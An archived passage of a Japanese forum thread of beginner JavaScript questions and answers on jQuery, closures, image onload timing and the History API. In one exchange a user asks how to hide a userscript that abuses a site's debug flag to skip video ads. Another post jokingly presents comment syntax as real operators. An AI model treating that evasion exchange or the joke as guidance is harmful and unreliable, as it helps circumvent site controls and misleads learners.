694 名前:Name_Not_Found mailto:sage [2021/07/10(土) 16:58:48.39 ID:???.net]
>>684
非同期通信のデータも書き換えることができるんですね
出来ないと思ってました。HTMLに書くわけではないですから。

695 名前:Name_Not_Found mailto:sage [2021/07/10(土) 18:05:23.78 ID:???.net]
もう何言ってるんだかって感じ・・・
とりあえずHTTPの基礎を学んで出直してくれ

696 名前:Name_Not_Found mailto:sage [2021/07/10(土) 18:36:29.65 ID:???.net]
非同期通信とかを知っていて、なんでそんな思考になるのか理解できない
どんな順番で学んだのかな?

697 名前:Name_Not_Found mailto:sage [2021/07/10(土) 18:43:06.10 ID:???.net]
逆です。「もし自分が知らなかったら大変なことになる」と思っての質問です。
完璧に全ての要件を理解しているわけではないので、
自分が知らないことでセキュリティリスクが発生してはいけないと思い、
イレギュラーな質問をした次第です。問題ないのならそれが一番です。

698 名前:Name_Not_Found mailto:sage [2021/07/10(土) 18:43:40.11 ID:???.net]
非同期通信のデータも書き換えることができるけど
そうじゃなくてサーバーから受け取ったデータを元にHTMLを更新しないとユーザーは金額見れないじゃん

699 名前:Name_Not_Found mailto:sage [2021/07/10(土) 19:23:04.57 ID:???.net]
頓珍漢な考え方がリスクですわ

700 名前:Name_Not_Found mailto:sage [2021/07/10(土) 21:30:23.47 ID:???.net]
HTTP理解してない人間がWebアプリ開発に関わるというのが一番のリスク
Webアプリを開発するなら徳丸本レベルのセキュリティ知識は必須



701 名前:Name_Not_Found mailto:sage [2021/07/11(日) 02:55:05.08 ID:???.net]
CSRFトークンやらは流石にチームリーダーかベテランが設計して、レビューするのでは?

702 名前:Name_Not_Found mailto:sage [2021/07/11(日) 08:51:57.44 ID:???.net]
CSRFトークンとかはフレームワークが用意してる仕組みを使えよ

703 名前:Name_Not_Found mailto:sage [2021/07/11(日) 21:26:02.13 ID:???.net]
Ruby on Rails では最初から、

CSRF・Cross Site Request Forgeries 対策されている

704 名前:Name_Not_Found mailto:sage [2021/07/11(日) 22:22:40.00 ID:???.net]
ルビ基地はこんなところまで出張してくるのかよw

705 名前:Name_Not_Found [2021/07/12(月) 00:29:51.71 ID:nTiVq3dr.net]
>>694
ルビ基地さん、マルチポストは禁止ですか?

706 名前:Name_Not_Found mailto:sage [2021/07/12(月) 22:07:17.75 ID:???.net]
Web上で動く動画編集ソフトを作っていて、メモリの使用状況を知りたいのですが、
navigator.onmemorypressureがクソ使えません。
タブが落ちるまで発動しないことや、落ちる寸前で発動してどうしようもないときがしばしばあります。
今は代わりにWeakRefを使ってCGの粒度と頻度を監視してメモリの逼迫を予測しているのですが
いつまでも実装内部の微妙な振る舞いに頼った方法を使うわけにもいかないので
もっと良い解決方法はありませんでしょうか?

707 名前:Name_Not_Found [2021/07/20(火) 11:11:13.43 ID:nCbDsQ0J.net]
超初心者です。
今やっている教材で
if(!$('#text').val()){
といった条件式のif文が出てきたのですが
これはなにをもってtrueなのでしょうか……

textは文字を1行入力するinput要素につけられたidだと思います

708 名前:Name_Not_Found mailto:sage [2021/07/20(火) 13:47:53.58 ID:???.net]
その要素のvalue属性がfalsyなら条件式がtrue
(!が否定なので)

文字列が空だったりしたらtrueになる

709 名前:Name_Not_Found mailto:sage [2021/07/21(水) 01:17:28.04 ID:???.net]
まず、!$('#text').val()、これは、!( $('#text').val() ) と同じ。
.val() は、<input>の内容を取得するので、文字列型

!文字列型 は、文字列を否定した真偽値になる。
さらに、その真偽値を否定すると、!!文字列型。肯定に戻る

文字列の真偽値は、空文字列なら偽。
それ以外は真と判定される

だから下の出力は、文字列が存在すれば「あいう true false」、
空文字列なら「false true」

<label>入力文字列<input type="text" id="Text1" value="あいう" autofocus></label><br>
<button id="Button1">押して</button>
<p>出力 : </p><div id="output"></div>

$( "#Button1" ).click( function ( ) {
inputText = $( "#Text1" ).val( ) // 取得
console.log( inputText, !!inputText, !inputText )

$( "#output" ).text( `${ inputText } ${ !!inputText } ${ !inputText }` ); // 設定
} )

710 名前:Name_Not_Found [2021/07/21(水) 18:21:52.33 ID:CSBnQv1Q.net]
下記のような処理を行いたいのですが、「httpresponseに反応し、関数を呼び出す」の実装方法がわかりません。何か方法はありませんでしょうか。初学者の質問で恐縮です。

ページを表示→入力フォームに文字列を入力後送信ボタンをクリック→関数が呼び出され、httpresponseを返す→httpresponseに反応し、関数を呼び出す



711 名前:Name_Not_Found mailto:sage [2021/07/21(水) 20:32:21.67 ID:???.net]
jQuery on を使う。
よく知らないけど、素のJavaScript なら、addEventListener かな?

$('button').on('click', function(){
console.log('on');
});

Ajax 通信かな?
Promise, async/await とか

1. クライアント側から、サーバーへ送信する
2. サーバーで処理して、クライアントへ返信する
3. クライアントで受信して、処理する

712 名前:702 mailto:sage [2021/07/21(水) 20:52:51.87 ID:???.net]
昔は、Ajax に、jQuery を使っていたけど、
最近は、axios を使う

「ajax axios 違い」で検索して!

713 名前:701 [2021/07/22(木) 20:18:00.61 ID:QzkFgdkr.net]
ありがとうございます!

714 名前:Name_Not_Found [2021/07/25(日) 13:46:41.67 ID:tNOxHXfJ.net]
通信技術板なのかもしれないんだけど、サイト閲覧や掲示板利用でIMEIって抜かれる(抜ける)ものなのかな?

IMEIのチェックサイトでも自動取得ではなく入力しろとなっているから、特殊なアプリでもなければ無理だよな思うんだけど
JavaScriptでも端末情報の取得までがマックスだよね、ちょっと自信ないので教えてください

セキュリティ板でモバイル板行けと言われたんだけどモバイル板も板違いっぽくて、ここに辿り着きました

715 名前:Name_Not_Found mailto:sage [2021/07/25(日) 16:34:23.00 ID:???.net]
ヘッダにつけて出して叩かれてたからdocomo以外は出さないと思ってたが、今はしらん
https://anond.hatelabo.jp/20111019232107
iphoneって付けるってホント?

716 名前:Name_Not_Found [2021/07/25(日) 16:59:19.64 ID:J+IGjNJc.net]
>>706
こんなのあったんだ、ありがとう

iPadのWiFi利用だからそこまでは分からないんだけど
ドコモのそれも勘弁してくれだなあw
こんな簡単に抜かれて偽装だのされたらかなわない

717 名前:Name_Not_Found mailto:sage [2021/07/25(日) 23:08:42.11 ID:???.net]
>>705
「imei macアドレス 違い」で検索して

IMEI は知らないけど、
端末固有のMACアドレスなら、同一LAN 内で、端末を識別するために使うだけ。
LAN外のWAN・インターネットには、その情報を渡さない

もし外へも渡すのなら、それをユーザー自らが許可しないといけない

718 名前:Name_Not_Found mailto:sage [2021/07/25(日) 23:48:09.30 ID:???.net]
UUIDが簡単に取れたのは昔々の話
iPhoneだとiOS6とかその時代

719 名前:Name_Not_Found [2021/07/26(月) 01:20:17.16 ID:SK1QlohO.net]
>>708-709
ありがとう、さらに調べてみました
やはり警戒したいのはIMEIなんだけどWEB経由では取得出来ず、
アプリなら技術的には取得可能ということのよう
もっともAppleもGoogleも基本的にはアプリでの取得も認めてない模様
現段階では、これで間違いないような気がする(素人判断)

720 名前:Name_Not_Found mailto:sage [2021/07/27(火) 22:37:24.54 ID:???.net]
このような場合でccc関数でaaa()を呼ぶにはどうしたらいいんですか?

function main{
   function aaa(){

   }
   function bbb(){

   }
}

function ccc(){
//ここでaaa()を呼びたい
}



721 名前:Name_Not_Found mailto:sage [2021/07/27(火) 22:56:34.80 ID:???.net]
訂正:function mainではなくfunction main()です

722 名前:Name_Not_Found mailto:sage [2021/07/27(火) 23:10:08.49 ID:???.net]
aaa を外出しにするか、main をインスタンスにしてaaaメソッドを呼ぶくらい
main内のスコープだよ内部変数と同じ

723 名前:Name_Not_Found mailto:sage [2021/07/28(水) 21:05:25.27 ID:???.net]
ABEMAのサイトなんですが
その中で遷移する場合、普通に遷移するのではなく、
unloadせずにjsでいろいろして遷移しているように見えます。
(例えばhttps://abema.tv/now-on-air/news-plus から右のチャンネル一覧を出して別のチャンネルに移動する場合
Consoleにはリンク先URLに移動しました などのログがありませんがアドレスバーはちゃんとかわっています
戻るを右クリックして履歴を出してもちゃんと履歴はあります)
jsで読み込んでDOM操作すればページ自体は行けるのはわかるのですが
URLや履歴はなぜ遷移なしに変更できるかわかりません。
document.URLなどに移動先アドレスを代入すれば普通に遷移してしまうと思います。
これはどのようにして実現しているのでしょうか?

724 名前:Name_Not_Found mailto:sage [2021/07/28(水) 21:19:26.45 ID:???.net]
>>714
History API
https://developer.mozilla.org/ja/docs/Web/API/History_API/Working_with_the_History_API

725 名前:Name_Not_Found mailto:sage [2021/07/28(水) 21:19:47.79 ID:???.net]
javascript アドレスバー 書き換え

726 名前:Name_Not_Found mailto:sage [2021/07/28(水) 21:23:36.11 ID:???.net]
>>715
ありがとうございます。

727 名前:Name_Not_Found mailto:sage [2021/07/28(水) 21:31:20.19 ID:???.net]
chrome系の場合遷移したのにその前の履歴が残らないのはあまりよろしくないということで結構前の

728 名前:oージョンからreplaceStateでもpushStateと同じ動作なので注意 []
[ここ壊れてます]

729 名前:Name_Not_Found mailto:sage [2021/07/30(金) 05:56:08.20 ID:???.net]
その理由はおかしくないか?
303とかと同じで戻られたらよろしくないこともあるでしょ

730 名前:Name_Not_Found mailto:sage [2021/07/30(金) 20:50:34.74 ID:???.net]
サムネをクリックするとページ移動しないでその場で拡大画像を表示させるには
jqueryやライブラリ使わないで自力でjavascriptコード書くのは難しいですか?
そんなに手間かからないならjavascriptだとどう書けばいいんですか?



731 名前:Name_Not_Found mailto:sage [2021/07/30(金) 21:17:53.36 ID:???.net]
absoluteなdivをオブジェクトとして作っておいて
imgにclickのaddEventListenerでdivオブジェクトの中のimgのsrcをclickもとのsrcから引っ張ってきて
bodyあたりにappendChildしたらいいんじゃないかな

732 名前:Name_Not_Found mailto:sage [2021/07/30(金) 21:20:03.39 ID:???.net]
>>720
全然難しくない
そういう処理をしてるサイトでクリックイベントのコードを見れば解決

733 名前:Name_Not_Found mailto:sage [2021/07/30(金) 21:21:54.90 ID:???.net]
>>721
ajaxでデータ取ってくるイメージだと思うので
プログレスインジケーターとかもろもろの処理が普通は必要

734 名前:Name_Not_Found mailto:sage [2021/07/31(土) 12:43:13.40 ID:???.net]
例えば、jQuery のhover で、画像サイズを大きくするアニメなら、

<img src="a.jpg" id="img_01">

$( function ( ) {

$( "#img_01" ).hover ( function ( ) {
$( this ).stop( ).animate(
{ width: '600' }, 1000 );
}, ( function ( ) {
$( this ).stop( ).animate(
{ width: '300' }, 1000 );
} )
)

} );

735 名前:Name_Not_Found mailto:sage [2021/07/31(土) 13:45:44.53 ID:???.net]
サムネをそのまま拡大されてもなぁww

736 名前:724 mailto:sage [2021/07/31(土) 14:38:27.43 ID:???.net]
例えば、jQuery で、
ボタンをクリックすると、画像を追加する

<div id="div_1"></div>
<button id="btn_1">押して</button>

$( function ( ) {

$( '#btn_1' ).on( 'click', function( ) {
// 要素の下に、要素を追加する
$( "#div_1" ).after('<img src="b.jpg">');
} )

} );

737 名前:Name_Not_Found mailto:sage [2021/07/31(土) 15:01:57.32 ID:???.net]
>>720
モーダル 自作 とかでぐぐれ

738 名前:Name_Not_Found mailto:sage [2021/07/31(土) 16:40:10.05 ID:???.net]
>>725
サムネならワンチャン transform の scale でいけますか?
いけますんね…

739 名前:Name_Not_Found mailto:sage [2021/07/31(土) 16:50:19.76 ID:???.net]
できなくはないだろうけどやる意味がない
サイズ云々じゃなくてクリック対象と拡大表示される画像はさすがに別のDOMじゃないとださい
画像自体はでかい画像のほうをcssで縮小してサムネにしておくとかなら同じオブジェクトのコピーでもいいけど

740 名前:Name_Not_Found mailto:sage [2021/08/01(日) 00:47:34.25 ID:???.net]
Lazy Loadみたいにimgタグに属性として実寸画像データのアドレス入れておいて差し替えたらいいんじゃないの?



741 名前:Name_Not_Found mailto:sage [2021/08/01(日) 21:06:55.05 ID:???.net]
Googleフォトに登録してAPIを使えばいい
サムネイルのサイズから拡大のエフェクトまで端末の種類に応じていい感じにしてくれる

742 名前:Name_Not_Found mailto:sage [2021/08/04(水) 19:01:58.76 ID:???.net]
てすと

743 名前:Name_Not_Found mailto:sage [2021/08/04(水) 19:06:41.91 ID:???.net]
wakuの高さを取得したくてこれでやっても600にならずに1800と表示されてしまいます。
どうしてでしょうか?たぶんoverflowで隠れた画像の高さも含めてる?
どうすれば高さの600を取得できますか?

<style>
#waku{
width:90%;
height:600px;
overflow:hidden;
}
</style>

<div id="waku">
<ul>
<li><img src="test1.png"></li>
...
<li><img src="test5.png"></li>
</ul>
</div>

<スクリプト>
var element = document.getElementByID("waku");
var element_style = getComputedStyle(element);
var property_value = element_style.getPropertyValue("height");
property_value = parseInt(property_value);

alert(property_value);

</スクリプト>

744 名前:733 mailto:sage [2021/08/04(水) 22:02:16.81 ID:???.net]
display:t

745 名前:able-cellを消したらちゃんと取得できました []
[ここ壊れてます]

746 名前:Name_Not_Found mailto:sage [2021/08/07(土) 12:53:08.80 ID:???.net]
element.onclick = func1;

func1(str){
alert(str);
}

この場合func1に引数を渡すにはどうすればいいんですか?

element.onclick = func1("aaa");ってやってもできなかった

747 名前:Name_Not_Found mailto:sage [2021/08/07(土) 15:17:25.81 ID:???.net]
部分適用
- 関数を返す関数に引数を渡す
- 返す関数は外側の関数の引数をキャプチャする(クロージャ)

function func1(str) {
return function(e) {
alert(str);
}
}

element.onclick = func1("aaa");

748 名前:Name_Not_Found mailto:sage [2021/08/07(土) 15:21:12.49 ID:???.net]
アロー関数使えばもう少し簡単に書ける
がCloudflareに弾かれたのでググってくれ

749 名前:Name_Not_Found mailto:sage [2021/08/07(土) 16:37:18.71 ID:???.net]
俺も弾かれた

750 名前:Name_Not_Found [2021/08/07(土) 21:44:05.47 ID:b7e6t+Nb.net]
ユーザーjsの使用用途で質問です。

webページで出てきたダイアログボックス(window.confirmで出力している様子)に対し
3秒後に自動で「OK」を押し(もしくはキーボードのEnter)てダイアログを閉じるにはどのように書いたら良いでしょうか・・?


使用環境
Chromeの拡張プラグインで「Tampermonkey」というユーザーjsのプラグインで使用

宜しくお願いします。



751 名前:739 [2021/08/07(土) 23:05:16.71 ID:b7e6t+Nb.net]
すいません用途や環境はあまり考えなくて大丈夫です。

普通にjsでダイアログを閉じる記述を教えてください。。

752 名前:Name_Not_Found mailto:sage [2021/08/07(土) 23:41:27.15 ID:???.net]
comfirmやalertをスクリプトで閉じることはできないです

753 名前:Name_Not_Found mailto:sage [2021/08/08(日) 00:03:53.19 ID:???.net]
con

754 名前:Name_Not_Found mailto:sage [2021/08/08(日) 01:04:35.61 ID:???.net]
>>741
なるほど・・そうだったのですね
ありがとうございます

755 名前:Name_Not_Found mailto:sage [2021/08/09(月) 15:46:32.65 ID:???.net]
ユーザー操作が必要なのか

Selenium Webdriver で、ブラウザを自動操作すれば出来るのかな?

756 名前:Name_Not_Found mailto:sage [2021/08/09(月) 16:35:09.27 ID:???.net]
できないよ

757 名前:Name_Not_Found mailto:sage [2021/08/09(月) 17:16:41.55 ID:???.net]
できるよ

758 名前:Name_Not_Found mailto:sage [2021/08/09(月) 17:49:01.07 ID:???.net]
できるんやな

759 名前:Name_Not_Found mailto:sage [2021/08/09(月) 20:14:19.71 ID:???.net]
できるんやないな

760 名前:Name_Not_Found mailto:sage [2021/08/10(火) 13:53:21.83 ID:???.net]
jQuery のモーダルダイアログでは、

fadeIn( )で表示して、fadeOut( ) で非表示にするとか、
remove( ) で、モーダル要素を削除する

単に、jQueryで書いてるだけ



761 名前:Name_Not_Found mailto:sage [2021/08/11(水) 00:02:48.47 ID:???.net]
comfirmのダイアログにidが無い場合、
SeleniumでもjQueryでもcomfirmのダイアログを指定するには何オブジェクトなのでしょうか・・?
windowでイケます・・?

762 名前:Name_Not_Found mailto:sage [2021/08/11(水) 00:43:45.87 ID:???.net]
>>750
https://www.selenium.dev/ja/documentation/webdriver/js_alerts_prompts_and_confirmations/

763 名前:Name_Not_Found mailto:sage [2021/08/11(水) 10:52:26.99 ID:???.net]
id, class, タグ名などを組み合わせて、特定できないの?

764 名前:Name_Not_Found mailto:sage [2021/08/11(水) 15:37:59.62 ID:???.net]
>>752
無理のようですね。ダイアログが表示されている時はF12でソースすら確認出来ない状態ですし
confirmするのにidもclassもHTMLも不要ですし、、

765 名前:Name_Not_Found mailto:sage [2021/08/12(木) 00:47:58.26 ID:???.net]
<ul id="img_set" style="display:flex">
<li><img src="test1.png"></li>
.
.
<li><img src="test5.png"></li>
</ul>
このような横並びの画像があったとしてその幅を取得したいけど
chromeだとgetpropertyでulのwidthを取得できたけどIE11だと
ちゃんとした幅が取得できませんでした。
どうすればIEでもちゃんとした幅が取得できますか?

766 名前:Name_Not_Found mailto:sage [2021/08/12(木) 00:51:12.41 ID:???.net]
釣れるかな?

767 名前:Name_Not_Found mailto:sage [2021/08/12(木) 08:28:31.44 ID:???.net]
>>755
釣りじゃないよ
chromeとedgeはwidth2000だったけど
IEだと1000くらいだった

768 名前:Name_Not_Found mailto:sage [2021/08/12(木) 11:23:44.53 ID:???.net]
さすがにもうIEをフォローするのは止めちゃってもいいんじゃないかな

769 名前:Name_Not_Found mailto:sage [2021/08/12(木) 11:40:30.00 ID:???.net]
???「社のえらい人がIE使いなので対応してください」
???「官公庁です。根幹システムがIEのみなので従ってください」

これが日本

770 名前:Name_Not_Found mailto:sage [2021/08/12(木) 12:17:13.81 ID:???.net]
そういう人はここには来ない



771 名前:Name_Not_Found mailto:sage [2021/08/14(土) 00:06:22.37 ID:???.net]
// 表形式で出力
// https://developer.mozilla.org/ja/docs/Web/API/console/table
console.table({a: 1, b: 2, c: 3})

772 名前:Name_Not_Found mailto:age [2021/08/16(月) 00:10:17.57 ID:???.net]
var img_url_list = ["./aaa.png","./bbb.png","./ccc.png"];
var img_kosuu = img_url_list.length;
var img_obj_list = [];

for(var n=1;n<=img_kosuu;n++){

img_obj_list[n-1] = new Image();
img_obj_list[n-1].src = img_url_list[n-1];

}
var img_load_count = 0;

for(var n=1;n<=img_kosuu;n++){
img_obj_list[n-1].onload = function(){
img_load_count++;
}
}
var msg = img_load_count + "個の画像を読み込みました。";
alert(msg);

ちゃんと3個の画像を読み込んでも「0個の画像を読み込みました」って表示されてしまいます。
img_load_countはちゃんとカウントされているはずだけどどうしてですか?
どうすれば読み込んだ画像の数を表示できますか?

773 名前:Name_Not_Found mailto:sage [2021/08/16(月) 02:52:21.51 ID:???.net]
一つ目のループの最後にappendChildを入れてみるとか
document.body.appendChild(iimg_obj_list[n-1]);

774 名前:Name_Not_Found mailto:sage [2021/08/16(月) 03:18:06.79 ID:???.net]
>>761
どのタイミングでload eventが発生するのか考えたら?

775 名前:Name_Not_Found mailto:sage [2021/08/16(月) 08:06:13.76 ID:???.net]
>>761
読込完了前にalert出してるから0個で正解
雑に対応するなら時間差を付ける
setTimeout(function(){
var msg = img_load_count + "個の画像を読み込みました。";
alert(msg);
},3000);

776 名前:Name_Not_Found mailto:sage [2021/08/16(月) 12:47:43.04 ID:???.net]
Promise化してPromise.allで待つ

777 名前:Name_Not_Found mailto:sage [2021/08/17(火) 12:42:11.34 ID:???.net]
>>761
最後のalertを全ての画像を読み終わったときにしたいなら
onloadの関数内でlengthとcountを見て最後だったらalert出す
にしたらいいんじゃないかな

778 名前:Name_Not_Found mailto:sage [2021/08/18(水) 13:33:32.55 ID:???.net]
Promise.all で良いのでは?

779 名前:Name_Not_Found [2021/08/23(月) 03:40:06.83 ID:0irl4Nx0.net]
今djangoメインでウェブアプリを作ってるんですが、どこまでの計算処理をjavascriptに任せてどこからをバックエンドのpythonで処理すべきかよくわかりません。

できる限りブラウザ側に計算処理させた方がいいと思うので出来る限りjavascripjで処理するようにするという基本思想で間違ってないでしょうか?

ほんとにバックエンドサーバー側で必要な処理だけをpythonで書くというのであってますか?

780 名前:Name_Not_Found mailto:sage [2021/08/23(月) 04:41:21.50 ID:???.net]
Ruby on Rails の基本は、HTML をサーバーで作って返す。
JSON を返す、API モードもある。
さらに最近は、GraphQL もある

個人の起業用には、Rails, Bootstrap を使う。
または、それにReact も加える

YouTube で有名な、雑食系エンジニア・KENTA のサロンでは、
さらに、Vue.js, TypeScript も加える。
これは大企業用



781 名前:Name_Not_Found mailto:sage [2021/08/23(月) 09:37:49.47 ID:???.net]
>>768
採用してるアーキテクチャとメンテナンス性やUXを考慮した役割分担方針によるので
一概にできるだけブラウザ側で処理したほうがいいというわけでもない

APIサーバーじゃなくDjangoのテンプレートエンジンつかってViewを返してるんなら
明らかにUXが向上する箇所だけクライアント側で処理するという方針も十分ありえる

782 名前:Name_Not_Found mailto:sage [2021/08/23(月) 12:04:41.00 ID:???.net]
>>768
お節介だとは思うけど数字を誤魔化されるとマズいアプリだと計算はサーバ側で必要な処理になるからね>ゲームとかショップとかバリデートしなきゃならない
一言で「必要な処理」と言ってもアプリそれぞれだから注意しといてね

783 名前:Name_Not_Found mailto:sage [2021/08/25(水) 17:38:24.41 ID:???.net]
webに関してなんですが
greasemonkeyで本来宣言されていない変数名を定義すると
web管理側が対策をしようとすればわかっちゃうものなんでしょうか
var test;
ほにゃらら処理行
test = undefined;
としておけばわからないのでしょうか
Firefoxのコンソールで見ると宣言前に
test で ReferenceError: test is not defined と表示され
test = undefined;後にtest を入力すると undefined と表示されます。
未宣言か未定義かの違いだと思うんですが
これの区別ってjsでできますか?
また使った変数を未宣言の状態に戻すことは可能でしょうか?

784 名前:Name_Not_Found mailto:sage [2021/08/25(水) 18:20:51.22 ID:???.net]
基本見えないし自分が管理者ならそんな無駄な努力はしない
あと余所に見せたくないなら基本let,constで宣言すべき

785 名前:Name_Not_Found mailto:sage [2021/08/25(水) 18:52:04.35 ID:???.net]
グリモンは全体を無名関数でくるめばサイト側から見えなくなるという話はどうなんでしょうか

786 名前:Name_Not_Found mailto:sage [2021/08/25(水) 19:13:32.43 ID:???.net]
ありがとうございます
とあるサイトに
if(typeof(emergecy_xxx_brake_flg) !== undefined && emergecy_xxx_brake_flg == true){ ぬけあな }
みたいなコードを見つけかつ
emergecy_xxx_brake_flg をみると未定義でしたので
greasemonkeyでぬけあなを見つからないように使おうかなと思った次第です
あとでundefinedを入れておけば見つからないようですね

787 名前:Name_Not_Found mailto:sage [2021/08/25(水) 19:26:19.06 ID:???.net]
ユーザースクリプトは無名関数で囲む書き方が一般的だけど
しなくても主要なユーザースクリプト拡張は
ページ側の変数や関数名とバッティングさせない、GM API等のために関数でラップされて注入されてるのでページ側のスクリプトからは見えない

788 名前:Name_Not_Found mailto:sage [2021/08/25(水) 19:28:31.43 ID:???.net]
ということはemergecy_xxx_brake_flgをgreasemonkeyで定義しても元のscriptからは見えないし
ぬけあなを利用できないってことか
ありがとうございます

789 名前:Name_Not_Found mailto:sage [2021/08/25(水) 19:36:12.89 ID:???.net]
ゲームのデバッグ用フラグっぽい雰囲気だけど
オンラインゲームなら変数定義云々関係なくチート行為はいずれバレるぞ

790 名前:Name_Not_Found mailto:sage [2021/08/25(水) 19:46:45.57 ID:???.net]
広義のチートかもしれませんがフラグが立ってると
google IMA の動画広告を見ないで特定のページに行けるようになります
(postでパラメータを渡していてURLは同じなのでURL入力では飛べない。そのフラグでもIMAのあとのルーチンでも読んでる関数は同じ。)



791 名前:Name_Not_Found mailto:sage [2021/08/25(水) 22:22:25.60 ID:???.net]
本来宣言されてない変数名が存在するかどうかなんてチェックしないよ
チート対策はもっと違うアプローチでやる

ユーザー数の少ないゲームだとチート対策にかけられる予算も少ないから
よほどナイーブなやり方じゃなければ検出されない

792 名前:Name_Not_Found mailto:sage [2021/08/26(木) 01:41:30.42 ID:???.net]
もうチートだけ続くんじゃ

793 名前:Name_Not_Found mailto:sage [2021/08/26(木) 09:09:45.78 ID:???.net]
それはアクセス解析で簡単に検出されるパターンな気がするな

まあYoutubeでも広告見ないでコンテンツだけ見るのも普通にできるから
検出されても対処されるかどうかは運営次第

794 名前:Name_Not_Found mailto:sage [2021/08/26(木) 13:22:24.12 ID:???.net]
広告見ないでコンテンツだけ見る方法のがむしろ知りたいw

795 名前:Name_Not_Found mailto:sage [2021/08/26(木) 21:57:31.25 ID:???.net]
ublock Originみたいなアドブロッカー使う
詳細はググってくれ

796 名前:Name_Not_Found mailto:sage [2021/08/26(木) 22:13:09.83 ID:???.net]
ES2015 以降は、var は使わない。
var は、バグるだけ

let, const の時代

Webpack, Babel。
Ruby on Rails でも、そう

797 名前:Name_Not_Found mailto:sage [2021/08/27(金) 18:21:16.16 ID:???.net]
<input type="text" id="aaa" onkeyDown="test()">

function test(){
var str = document.getElementById("aaa").value;
alert(str);
}

このようにやって
入力した文字列を表示したいんだけど1つ前に入力した文字列が表示されてしまいます
どうすれば入力した文字を表示できますか?

798 名前:Name_Not_Found mailto:sage [2021/08/27(金) 18:44:33.19 ID:???.net]
oninput

799 名前:Name_Not_Found [2021/08/28(土) 14:12:13.59 ID:M9yJQx4l.net]
jQueryの質問です。
各タグ内から数字テキストのみを抜き出して、それらを数値として合算(足し算)し、
その合計値をテキストで出力したいのですが、どのように書いたら良いでしょうか?

<div>hoge1</div>
<div>hoge2</div>
<div>hoge3</div>

→「6」と出力したいです。

宜しくお願いします(>_<)

800 名前:Name_Not_Found mailto:sage [2021/08/28(土) 16:37:35.57 ID:???.net]
vanillaで

Array.from(document.querySelectorAll('div'))
.map(x=>Number(x.innerText.match(/[0-9]+/)))
.reduce((acc, curr)=>acc+curr);



801 名前:Name_Not_Found mailto:sage [2021/08/28(土) 17:21:02.00 ID:???.net]
>>789
ありがとうございます!
でも
初心者すぎて結果の確認方法がわかりません・・・
cosole.log();やテキストなどでどうやって確認したらよいのでしょうか。。。

802 名前:790 mailto:sage [2021/08/28(土) 17:26:41.82 ID:???.net]
すいません、変数宣言したらconsole.logで確認できました
>>789
ありがとうございます_(._.)_


jQueryでもわかる方いらっしゃると助かります。。
試したこと
.map() →文字列扱いされてしまい合計できない。

803 名前:Name_Not_Found mailto:sage [2021/08/28(土) 18:39:11.22 ID:???.net]
横からだけど勉強になります。
>>791
jQueryはしらないけどFirefoxで単純なサイトを開いてコンソールにそれを入れれば
いけましたね

804 名前:Name_Not_Found mailto:sage [2021/08/28(土) 19:43:44.73 ID:???.net]
>>791
配列とjQueryオブジェクトのmapは全く別物
let sum = 0;
$("div").each(function() { sum += Number($(this).text().match(/[0-9]+/)) });

805 名前:Name_Not_Found mailto:sage [2021/08/28(土) 20:29:35.08 ID:???.net]
>>793
ありがとうございます!
ただ、やはり結果の出力方法がわからないのですが、、

let sum = 0;
const total = $("div").each(function() { sum += Number($(this).text().match(/[0-9]+/)) });
console.log(total);

k.fn.init(3) [div, div, div, prevObject: k.fn.init(1)]
となってしまうのですが「6」と出力するためにはどのようにしたらよいのでしょうか・・初心者質問ですみません

806 名前:Name_Not_Found mailto:sage [2021/08/28(土) 20:32:15.32 ID:???.net]
totalはどこから出て来たんだよ
sumを出力しろ

807 名前:Name_Not_Found mailto:sage [2021/08/28(土) 20:35:25.05 ID:???.net]
>>795
ぬお!できました。   お恥ずかしい。。
ありがとうございます!!!!

808 名前:Name_Not_Found mailto:sage [2021/08/28(土) 20:47:59.34 ID:???.net]
加算代入 (+=)なんてものがあるとは・・・

809 名前:Name_Not_Found mailto:sage [2021/08/28(土) 21:22:19.02 ID:???.net]
割って掛ける除乗算演算子と
掛けて割る乗除算演算子もあるぞ
a = 4 /* 2;
a = 4 */ 2;
console.log(a);
//=> 4

810 名前:Name_Not_Found mailto:sage [2021/08/28(土) 21:33:12.98 ID:???.net]
Ruby など、たいていの言語に、複合代入演算子がある



811 名前:Name_Not_Found mailto:sage [2021/08/28(土) 23:32:57.67 ID:???.net]
ありがたいスレです(>_<)

812 名前:Name_Not_Found mailto:sage [2021/08/29(日) 04:18:28.46 ID:???.net]
>>798

813 名前:Name_Not_Found mailto:sage [2021/09/03(金) 21:02:01.45 ID:???.net]
ここでの質問なのかわからないですが
アナリティクスなどで、訪問者のiPhoneのバージョンがわかるようにしたり、集計ってできますか?
例えばiPhone12が○○アクセス、全体シェア○○%のように

814 名前:Name_Not_Found mailto:sage [2021/09/03(金) 21:34:48.91 ID:???.net]
>>802
GAならこっちで聞いた方がいいよ

【アクセス解析】Google Analytics 8 [無断転載禁止]©2ch.net
https://mevius.5ch.net/test/read.cgi/hp/1485660054/

815 名前:Name_Not_Found mailto:sage [2021/09/03(金) 21:44:48.13 ID:???.net]
const $el = document.getElementById('hoge');
let func = () => {
console.log($el);
}
setInterval('func()',1000);

としたところ、$elはnullになってしまいます。

let func = () => {
const $el = document.getElementById('hoge');
console.log($el);
}
setInterval('func()',1000);

とすれば$elには値が入りますが、setIntervalを実行する度にconstをセットするのが
どうもスマートでないように思います

JSの作法的に正しくて、スマートに書こうと思ったら
どう改善したら良いでしょうか?

816 名前:Name_Not_Found mailto:sage [2021/09/03(金) 21:48:29.24 ID:???.net]
>>803
アリガトウゴザイマス!

817 名前:Name_Not_Found mailto:sage [2021/09/03(金) 21:56:16.09 ID:???.net]
>>804
setIntervalの気持ち悪い書き方を直すだけ
setInterval(func,1000);

818 名前:Name_Not_Found mailto:sage [2021/09/03(金) 22:07:25.41 ID:???.net]
スマートな書き方を聞くやつはスマートじゃないの法則

819 名前:Name_Not_Found mailto:sage [2021/09/03(金) 22:10:45.15 ID:???.net]
>>804
https://ja.javascript.info/onload-ondomcontentloaded

820 名前:Name_Not_Found mailto:sage [2021/09/07(火) 05:43:43.55 ID:???.net]
Firefox のコンソールで 0



821 名前:/-2 など 0を-xで割ると -0と出るのですが
プログラミングでは一般的なのでしょうか
0と出てきて欲しいんですが
[]
[ここ壊れてます]

822 名前:Name_Not_Found mailto:sage [2021/09/07(火) 06:06:08.37 ID:???.net]
>>809
一般的とは?そんなものはない
Object.is()で判定可能
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Global_Objects/Object/is

823 名前:Name_Not_Found mailto:sage [2021/09/07(火) 07:50:22.49 ID:???.net]
>>809
>プログラミングでは一般的なのでしょうか

そこそこ一般的

